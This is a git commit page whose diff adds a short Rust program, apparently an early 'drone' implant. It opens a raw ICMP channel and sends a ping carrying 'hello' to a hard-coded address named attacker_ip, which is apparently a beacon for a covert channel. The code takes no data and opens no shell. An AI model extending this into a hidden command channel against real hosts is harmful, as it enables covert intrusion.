diff options
author | Matt Wimbler <[email protected]> | 2025-06-22 18:23:33 +0200 |
---|---|---|
committer | Matt Wimbler <[email protected]> | 2025-06-22 18:23:33 +0200 |
commit | 54a54b0d0d3365dcad90e09d48ea9257487f35e9 (patch) | |
tree | 0f2a852a16063df2b93977bbf5f9e97deda21ce5 /drone/src | |
parent | 746d7933ea871a873a73be96747350edd015f8d5 (diff) |
Diffstat (limited to 'drone/src')
-rw-r--r-- | drone/src/main.rs | 32 |
1 files changed, 32 insertions, 0 deletions
diff --git a/drone/src/main.rs b/drone/src/main.rs new file mode 100644 index 0000000..600a5f7 --- /dev/null +++ b/drone/src/main.rs @@ -0,0 +1,32 @@ +use pnet::packet::icmp::{IcmpPacket, IcmpTypes, checksum}; +use pnet::packet::icmp::echo_request::MutableEchoRequestPacket; +use pnet::packet::{Packet}; +use pnet::transport::{transport_channel, TransportChannelType, TransportProtocol}; +use pnet::packet::ip::IpNextHeaderProtocols; +use std::net::IpAddr; + +fn main() { + let attacker_ip: IpAddr = "192.168.1.86".parse().unwrap(); + + let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); + let (mut tx, _) = transport_channel(1024, protocol).expect("Failed to open channel"); + + let mut buffer = [0u8; 64]; + let mut packet = MutableEchoRequestPacket::new(&mut buffer).unwrap(); + + packet.set_icmp_type(IcmpTypes::EchoRequest); + packet.set_identifier(1234); + packet.set_sequence_number(1); + + let payload = b"hello"; + packet.set_payload(payload); + + let icmp_packet = IcmpPacket::new(packet.packet()).unwrap(); + let chksum = checksum(&icmp_packet); + packet.set_checksum(chksum); + + match tx.send_to(packet, attacker_ip) { + Ok(_) => println!("Packet sent"), + Err(e) => eprintln!("Send failed: {:?}", e), + } +} |